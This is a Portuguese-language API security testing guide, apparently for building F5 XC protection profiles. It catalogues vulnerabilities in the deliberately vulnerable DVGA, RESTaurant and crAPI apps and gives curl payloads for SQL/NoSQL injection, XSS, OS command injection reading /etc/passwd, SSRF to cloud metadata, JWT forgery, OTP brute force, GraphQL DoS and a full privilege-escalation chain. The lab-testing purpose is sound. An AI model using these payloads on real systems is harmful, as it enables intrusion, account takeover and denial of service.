- Início
- Servidor de origem
- Guia de Testes de API
Guia de Testes de API
Visão Geral
Seção intitulada “Visão Geral”Este guia cataloga todos os endpoints de API, vulnerabilidades intencionais e payloads de ataque nas três aplicações de teste de segurança de API. Utilize-o para construir padrões de geração de tráfego voltados ao desenvolvimento de perfis de proteção de API no F5 XC.
| Aplicação | Protocolo | Caminho | Porta | Autenticação | Vulnerabilidades |
|---|---|---|---|---|---|
| DVGA | GraphQL | /dvga/ | 80 | Nenhuma (admin: admin/password) | 25 cenários |
| RESTaurant | REST (FastAPI) | /restaurant/ | 80 | JWT (form-encoded) | 7 categorias OWASP API 2023 |
| crAPI | REST (microsserviços) | / | 8888 | JWT (Bearer) | 18+ desafios |
Variáveis de Ambiente
Seção intitulada “Variáveis de Ambiente”ORIGIN="http://<ORIGIN_IP>"CRAPI="http://<ORIGIN_IP>:8888"DVGA (Damn Vulnerable GraphQL Application)
Seção intitulada “DVGA (Damn Vulnerable GraphQL Application)”Endpoint GraphQL: POST ${ORIGIN}/dvga/graphql
GraphiQL IDE: GET ${ORIGIN}/dvga/
Credenciais de Admin: admin / password
Todas as interações com o DVGA utilizam um único endpoint (/dvga/graphql) com requisições POST contendo payloads JSON {"query":"..."}.
Visão Geral do Schema
Seção intitulada “Visão Geral do Schema”Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnosticsMutations: createPaste, importPaste, uploadPasteTypes: PasteObject (id, title, content, public, owner, ipAddr, userAgent) OwnerObject (id, username, pastes) ← referência circularReferência de Endpoints
Seção intitulada “Referência de Endpoints”| Operação | Tipo | Autenticação | Finalidade |
|---|---|---|---|
pastes(public, filter, limit) | Query | Não | Listar pastes (injeção SQL via filter) |
paste(id) | Query | Não | Obter um único paste |
me(token) | Query | Não | Obter usuário por JWT (vulnerável a falsificação) |
systemHealth | Query | Não | Verificação de integridade |
systemUpdate | Query | Não | Query lenta (~82s, vetor de DoS) |
systemDiagnostics(cmd) | Query | admin/password | Executar comandos de SO autorizados |
createPaste(title, content, public) | Mutation | Não | Criar paste (XSS via content) |
importPaste(host, port, path, scheme) | Mutation | Não | Importar paste remoto (SSRF, injeção de comando) |
uploadPaste(filename, content) | Mutation | Não | Fazer upload de paste (path traversal) |
Catálogo de Vulnerabilidades
Seção intitulada “Catálogo de Vulnerabilidades”1. Negação de Serviço (6 cenários)
Seção intitulada “1. Negação de Serviço (6 cenários)”Ataque de Batch Query:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'Recursão Profunda (referências circulares entre Owner e Paste):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'Query de Alto Consumo de Recursos (~82 segundos de resposta):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemUpdate}"}'Duplicação de Campo (repetir campo 500+ vezes):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'Ataque Baseado em Alias (1000 operações com alias):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'2. Divulgação de Informações (5 cenários)
Seção intitulada “2. Divulgação de Informações (5 cenários)”Introspecção (enumeração completa do schema):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'Sugestões de Campo (erro de digitação revela campos válidos):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{titl}}"}'SSRF via importPaste (sonda serviços internos):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'3. Injeção (4 cenários)
Seção intitulada “3. Injeção (4 cenários)”Injeção SQL via parâmetro filter:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'XSS Armazenado via createPaste:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'Injeção de Log (falsificação de nome de operação):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'4. Execução de Código (3 cenários)
Seção intitulada “4. Execução de Código (3 cenários)”Injeção de Comando de SO via importPaste:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'Comando de SO via systemDiagnostics (requer autenticação de admin):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'5. Bypass de Autorização (3 cenários)
Seção intitulada “5. Bypass de Autorização (3 cenários)”Falsificação de Token JWT (aceita tokens não assinados):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'Escrita Arbitrária de Arquivo via uploadPaste (path traversal):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'API RESTaurant (Damn Vulnerable RESTaurant)
Seção intitulada “API RESTaurant (Damn Vulnerable RESTaurant)”Swagger UI: ${ORIGIN}/restaurant/docs
Especificação OpenAPI: ${ORIGIN}/restaurant/openapi.json
Autenticação: JWT via POST form-encoded para /restaurant/token
Funções: Customer (padrão), Employee, Chef (admin)
Configuração: Registrar e Autenticar
Seção intitulada “Configuração: Registrar e Autenticar”# Registrar um usuário de testecurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# Obter token JWT (ATENÇÃO: form-encoded, não JSON)TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"Referência de Endpoints
Seção intitulada “Referência de Endpoints”| Endpoint | Método | Autenticação | Função | Vulnerabilidade |
|---|---|---|---|---|
/restaurant/register | POST | Não | — | Criação de usuário |
/restaurant/token | POST | Não | — | JWT com segredo fraco (97952) |
/restaurant/healthcheck | GET | Não | — | Verificação de integridade |
/restaurant/profile | GET | Sim | Qualquer | Perfil do usuário |
/restaurant/profile | PUT | Sim | Qualquer | BOLA (modificar outros usuários) |
/restaurant/profile | PATCH | Sim | Qualquer | BOPLA (atribuição em massa de função) |
/restaurant/users/update_role | PUT | Sim | Qualquer | BFLA (escalada de função) |
/restaurant/menu | GET | Sim | Qualquer | Listar itens do cardápio |
/restaurant/menu | PUT | Sim | Employee+ | Criar item no cardápio (SSRF via imagem) |
/restaurant/menu/{item_id} | PUT | Sim | Employee+ | Atualizar cardápio (SSRF via imagem) |
/restaurant/menu/{item_id} | DELETE | Sim | Qualquer | BFLA (qualquer usuário pode excluir) |
/restaurant/orders | GET | Sim | Qualquer | BOLA (visualizar todos os pedidos) |
/restaurant/orders | POST | Sim | Qualquer | Criar pedido |
/restaurant/orders/{order_id} | GET | Sim | Qualquer | BOLA (acessar pedidos de outros) |
/restaurant/orders/status/{order_id} | GET | Sim | Qualquer | Status do pedido |
/restaurant/admin/stats/disk | GET | Sim | Chef | Injeção de comando |
/restaurant/reset-password | POST | Não | — | Solicitação de redefinição de senha |
/restaurant/reset-password/new-password | POST | Não | — | Definir nova senha |
/restaurant/referral-code | GET | Sim | Qualquer | Obter código de indicação |
/restaurant/apply-referral | POST | Sim | Qualquer | Aplicar indicação |
/restaurant/discount-coupons | GET | Sim | Qualquer | Listar cupons |
Catálogo de Vulnerabilidades
Seção intitulada “Catálogo de Vulnerabilidades”API1:2023 — Broken Object Level Authorization (BOLA)
Seção intitulada “API1:2023 — Broken Object Level Authorization (BOLA)”Modificar o perfil de outro usuário:
curl -X PUT ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'Acessar pedidos de outros usuários (enumerar offset):
for i in 1 2 3 4 5; do curl -sf ${ORIGIN}/restaurant/orders/${i} \ -H "Authorization: Bearer ${TOKEN}" 2>&1 echo ""doneAPI2:2023 — Autenticação Quebrada
Seção intitulada “API2:2023 — Autenticação Quebrada”Força bruta no segredo fraco do JWT (segredo tem 6 dígitos: 97952):
# Decodifique e forje tokens em jwt.io# Segredo: 97952 (pode ser quebrado por força bruta com hashcat -a 3 -m 16500 token '?d?d?d?d?d?d')
# Forjar um token de Chef:# Header: {"alg":"HS256","typ":"JWT"}# Payload: {"sub":"chef","exp":9999999999}# Assinar com o segredo: 97952API3:2023 — Broken Object Property Level Authorization (BOPLA)
Seção intitulada “API3:2023 — Broken Object Property Level Authorization (BOPLA)”Atribuição em massa da função de Customer para Chef:
curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'Caminho de escalada: Customer → Employee → Chef:
# Passo 1: Escalar para Employeecurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Employee"}'
# Passo 2: Escalar para Chefcurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'API5:2023 — Broken Function Level Authorization (BFLA)
Seção intitulada “API5:2023 — Broken Function Level Authorization (BFLA)”Excluir item do cardápio como Customer (deveria exigir Employee+):
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \ -H "Authorization: Bearer ${TOKEN}"Alterar a função de outro usuário:
curl -X PUT ${ORIGIN}/restaurant/users/update_role \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","role":"Customer"}'API7:2023 — Server-Side Request Forgery (SSRF)
Seção intitulada “API7:2023 — Server-Side Request Forgery (SSRF)”Sondar endpoints internos via image_url do cardápio (requer função Employee):
# Primeiro escale para Employee via BOPLA, depois:curl -X PUT ${ORIGIN}/restaurant/menu \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'API8:2023 — Injeção
Seção intitulada “API8:2023 — Injeção”Injeção de Comando de SO via estatísticas de disco (requer função Chef):
# Após escalar para Chef:curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \ -H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \ -H "Authorization: Bearer ${TOKEN}"Cadeia de Ataque Completa: De Customer a Root
Seção intitulada “Cadeia de Ataque Completa: De Customer a Root”# 1. Registrarcurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. Obter tokenTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Escalar para Chef (BOPLA)curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'
# 4. Reautenticar para obter token com nível ChefTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. Injeção de comando (RCE)curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \ -H "Authorization: Bearer ${TOKEN}"crAPI (OWASP Completely Ridiculous API)
Seção intitulada “crAPI (OWASP Completely Ridiculous API)”Interface Web: ${CRAPI}/
MailHog: ${CRAPI}/mailhog/ (captura de e-mail para verificação)
Autenticação: JWT Bearer token (RS256, vulnerável a confusão de algoritmo)
Arquitetura: 7 microsserviços (identity, community, workshop, postgres, mongo, mailhog, web)
Configuração: Registrar, Verificar E-mail e Fazer Login
Seção intitulada “Configuração: Registrar, Verificar E-mail e Fazer Login”# 1. Registrarcurl -X POST ${CRAPI}/identity/api/auth/signup \ -H "Content-Type: application/json" \ -d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. Verificar e-mail de confirmação no MailHog# Acesse ${CRAPI}/mailhog/ pelo navegador ou use a API do MailHog:curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "import sys,jsonmsgs = json.load(sys.stdin)['items']for m in msgs: print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")"
# 3. Fazer login e obter token JWTTOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"Referência de Endpoints
Seção intitulada “Referência de Endpoints”Serviço de Identidade
Seção intitulada “Serviço de Identidade”| Endpoint | Método | Autenticação | Vulnerabilidade |
|---|---|---|---|
/identity/api/auth/signup | POST | Não | Registro |
/identity/api/auth/login | POST | Não | Token JWT (confusão de algoritmo) |
/identity/api/auth/forget-password | POST | Não | Solicitar OTP |
/identity/api/auth/v2/check-otp | POST | Não | Sem limite de taxa (força bruta em OTP de 4 dígitos) |
/identity/api/auth/v3/check-otp | POST | Não | Versão com limite de taxa |
/identity/api/v2/user/dashboard | GET | Sim | Perfil do usuário |
/identity/api/v2/user/change-email | PUT | Sim | Troca de e-mail |
/identity/api/v2/vehicle/vehicles | GET | Sim | Listar veículos (vaza UUIDs) |
/identity/api/v2/vehicle/{uuid}/location | GET | Sim | BOLA (veículo de qualquer usuário) |
/identity/api/v2/user/videos | POST | Sim | Upload de vídeo |
/identity/api/v2/user/videos/{id} | GET | Sim | Exposição de dados (conversion_params) |
/identity/api/v2/user/videos/{id} | PUT | Sim | Atribuição em massa (injeção de comando) |
/identity/api/v2/admin/videos/{id} | DELETE | Sim | BFLA (sem verificação de admin) |
Serviço de Comunidade
Seção intitulada “Serviço de Comunidade”| Endpoint | Método | Autenticação | Vulnerabilidade |
|---|---|---|---|
/community/api/v2/community/posts | GET | Sim | Exposição de dados (vaza vehicle_id e e-mail) |
/community/api/v2/community/posts | POST | Sim | Criar postagem no blog |
/community/api/v2/community/posts/{id}/comments | POST | Sim | Adicionar comentário |
/community/api/v2/coupon/validate-coupon | POST | Sim | Injeção NoSQL |
Serviço de Oficina
Seção intitulada “Serviço de Oficina”| Endpoint | Método | Autenticação | Vulnerabilidade |
|---|---|---|---|
/workshop/api/mechanic | GET | Sim | Exposição de dados (e-mails de mecânicos) |
/workshop/api/mechanic/mechanic_report | GET | Não | BOLA (sem autenticação, IDs sequenciais) |
/workshop/api/merchant/contact_mechanic | POST | Sim | SSRF + DoS |
/workshop/api/shop/products | GET | Sim | Catálogo de produtos |
/workshop/api/shop/orders/ | POST | Sim | Criar pedido |
/workshop/api/shop/orders/all | GET | Sim | Listar pedidos |
/workshop/api/shop/orders/{id} | GET | Não | BOLA (sem autenticação necessária) |
/workshop/api/shop/orders/{id} | PUT | Sim | Atribuição em massa (status, quantity) |
/workshop/api/shop/apply_coupon | POST | Sim | Injeção SQL |
Catálogo de Desafios
Seção intitulada “Catálogo de Desafios”Desafio 1 — BOLA: Acessar a Localização do Veículo de Outro Usuário
Seção intitulada “Desafio 1 — BOLA: Acessar a Localização do Veículo de Outro Usuário”# Obtenha primeiro o UUID do seu veículocurl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \ -H "Authorization: Bearer ${TOKEN}"
# Acessar o veículo de outro usuário (substitua o UUID)curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \ -H "Authorization: Bearer ${TOKEN}"Desafio 2 — BOLA: Acessar Relatórios de Mecânicos (Sem Autenticação)
Seção intitulada “Desafio 2 — BOLA: Acessar Relatórios de Mecânicos (Sem Autenticação)”# Enumeração por ID sequencial — nenhum token necessáriofor i in 1 2 3 4 5; do echo "Relatório $i:" curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}" echo ""doneDesafio 3 — Autenticação Quebrada: Força Bruta no OTP de Redefinição de Senha
Seção intitulada “Desafio 3 — Autenticação Quebrada: Força Bruta no OTP de Redefinição de Senha”# Solicitar OTP para a vítimacurl -X POST ${CRAPI}/identity/api/auth/forget-password \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}'
# Força bruta no OTP de 4 dígitos (v2 NÃO tem limite de taxa)for otp in $(seq -w 0000 9999); do RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \ -H "Content-Type: application/json" \ -d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1) echo "$otp: $RESULT" | grep -v "Invalid OTP" && breakdoneDesafio 4 — Exposição de Dados: Vazar E-mails de Mecânicos
Seção intitulada “Desafio 4 — Exposição de Dados: Vazar E-mails de Mecânicos”curl -sf ${CRAPI}/workshop/api/mechanic \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.toolDesafio 5 — Exposição de Dados: Parâmetros Internos de Conversão de Vídeo
Seção intitulada “Desafio 5 — Exposição de Dados: Parâmetros Internos de Conversão de Vídeo”# Fazer upload de um vídeo e inspecionar a respostacurl -sf ${CRAPI}/identity/api/v2/user/videos \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool# Procure pelo campo conversion_params na respostaDesafio 6 — DoS: Camada 7 via Contato com Mecânico
Seção intitulada “Desafio 6 — DoS: Camada 7 via Contato com Mecânico”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"Engine issue", "vin":"VEHICLE_VIN", "mechanic_api":"http://localhost:8080/api", "repeat_request_if_failed":true, "number_of_repeats":100 }'Desafio 7 — BFLA: Excluir Vídeo via Endpoint de Admin
Seção intitulada “Desafio 7 — BFLA: Excluir Vídeo via Endpoint de Admin”# Usuário comum pode acessar o endpoint de admincurl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \ -H "Authorization: Bearer ${TOKEN}"Desafios 8 e 9 — Atribuição em Massa: Itens Gratuitos via Manipulação de Pedido
Seção intitulada “Desafios 8 e 9 — Atribuição em Massa: Itens Gratuitos via Manipulação de Pedido”# Mudar GET para PUT, modificar status e quantitycurl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"status":"returned","quantity":100}'Desafio 10 — Injeção de Comando via Parâmetros de Conversão de Vídeo
Seção intitulada “Desafio 10 — Injeção de Comando via Parâmetros de Conversão de Vídeo”curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'Desafio 11 — SSRF via Contato com Mecânico
Seção intitulada “Desafio 11 — SSRF via Contato com Mecânico”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"test", "vin":"VIN123", "mechanic_api":"http://169.254.169.254/latest/meta-data/", "repeat_request_if_failed":false, "number_of_repeats":0 }'Desafio 12 — Injeção NoSQL: Extrair Códigos de Cupom
Seção intitulada “Desafio 12 — Injeção NoSQL: Extrair Códigos de Cupom”curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"coupon_code":{"$ne":1}}'Desafio 13 — Injeção SQL: Resgatar Cupons Múltiplas Vezes
Seção intitulada “Desafio 13 — Injeção SQL: Resgatar Cupons Múltiplas Vezes”curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"Desafio 14 — Acesso a Pedidos sem Autenticação
Seção intitulada “Desafio 14 — Acesso a Pedidos sem Autenticação”# Sem cabeçalho Authorization — ainda retorna dadosfor i in 1 2 3 4 5; do curl -sf ${CRAPI}/workshop/api/shop/orders/${i} echo ""doneDesafio 15 — Confusão de Algoritmo JWT
Seção intitulada “Desafio 15 — Confusão de Algoritmo JWT”# Forjar um JWT com algoritmo "none" (sem verificação de assinatura):# 1. Definir header: {"alg":"none","typ":"JWT"} e codificar em base64url# 2. Definir payload: {"email":"admin@example.com","role":"admin"} e codificar em base64url# 3. Unir com pontos e deixar a assinatura vazia: <header>.<payload>.HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \ -H "Authorization: Bearer ${FORGED}"Referência Cruzada com o OWASP API Security Top 10
Seção intitulada “Referência Cruzada com o OWASP API Security Top 10”| Categoria OWASP | DVGA | RESTaurant | crAPI |
|---|---|---|---|
| API1: BOLA | — | PUT /profile, GET /orders/{id} | Localização de veículo, relatórios de mecânicos, pedidos |
| API2: Autenticação Quebrada | Falsificação de JWT (query me) | Segredo fraco do JWT (97952) | Força bruta no OTP (v2), confusão de algoritmo JWT |
| API3: BOPLA | — | PATCH /profile (escalada de função) | conversion_params de vídeo, exposição de e-mail de mecânico |
| API4: Consumo de Recursos | Batch, recursão, alias, DoS por duplicação de campo | Enumeração de usuários via tamanho de resposta | DoS via contact_mechanic com repeat_request |
| API5: BFLA | — | DELETE /menu, PUT /users/update_role | DELETE /admin/videos por usuário comum |
| API6: Atribuição em Massa | — | PUT /orders (status, quantity) | Status/quantidade de pedido, conversion_params de vídeo |
| API7: SSRF | Mutation importPaste | PUT /menu image_url | URL mechanic_api em contact_mechanic |
| API8: Injeção | SQL (filter), XSS (content), cmd SO (importPaste, systemDiagnostics) | Cmd SO (/admin/stats/disk?parameters=) | NoSQL (validate-coupon), SQL (apply_coupon) |
| API9: Ativos Impróprios | — | — | /auth/v2/check-otp obsoleto (sem limite de taxa) |
| API10: Consumo Inseguro | — | — | (indireto via SSRF) |
| GraphQL-específico | Introspecção, batching, recursão, aliases, duplicação de campo, fragmentos circulares | — | — |
Padrões de Geração de Tráfego
Seção intitulada “Padrões de Geração de Tráfego”Fase 1: Linha de Base (Caminho Feliz)
Seção intitulada “Fase 1: Linha de Base (Caminho Feliz)”Gere tráfego legítimo para estabelecer o comportamento normal da API antes de testar padrões de ataque.
Linha de base DVGA:
# Queries normaiscurl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'Linha de base RESTaurant:
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'Linha de base crAPI:
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"Fase 2: Tráfego de Ataque por Categoria OWASP
Seção intitulada “Fase 2: Tráfego de Ataque por Categoria OWASP”Teste de BOLA: Enumerar IDs sequenciais, trocar identificadores de usuário nas requisições, acessar recursos sem titularidade.
Teste de injeção: Payloads SQL em parâmetros filter/coupon, injeção em queries GraphQL, injeção de comando de SO via campos de parâmetros.
Teste de bypass de autenticação: Forjar tokens JWT, realizar força bruta em OTPs, usar versões depreciadas de API, confusão de algoritmo.
Teste de SSRF: URLs internas em importPaste, image_url e parâmetros mechanic_api.
Teste de DoS: Ataques GraphQL via batch/recursão/alias, repeat_request_if_failed com contagens elevadas.
Fase 3: Cadeias de Ataque com Estado
Seção intitulada “Fase 3: Cadeias de Ataque com Estado”Alguns ataques requerem sequências de múltiplas etapas com estado:
- Cadeia de escalada RESTaurant: Registrar → Token → PATCH de função para Chef → Reautenticar → Injeção de comando
- Fluxo completo crAPI: Cadastro → Verificar e-mail (MailHog) → Login → Adicionar veículo → Contato com mecânico (SSRF) → Manipulação de pedido
- Reconhecimento até exploração no DVGA: Introspecção → Descobrir systemDiagnostics → Força bruta nas credenciais de admin → Execução de comando de SO
Recomendações de Taxa
Seção intitulada “Recomendações de Taxa”| Padrão | Requisições/seg | Duração | Observações |
|---|---|---|---|
| Linha de base (por aplicação) | 10-50 | 5 min | Estabelecer perfil de tráfego normal |
| Enumeração BOLA | 100-500 | 2 min | Varredura de IDs sequenciais |
| Força bruta de OTP | 1000+ | Até encontrar | Máximo de 10.000 tentativas (4 dígitos) |
| DoS GraphQL | 10-50 | 30 seg | Cada requisição é cara no lado do servidor |
| Fuzzing de injeção | 50-200 | 5 min | Variar payloads por requisição |
| Sondagem de SSRF | 5-20 | 2 min | Lento; cada requisição dispara uma chamada HTTP no servidor |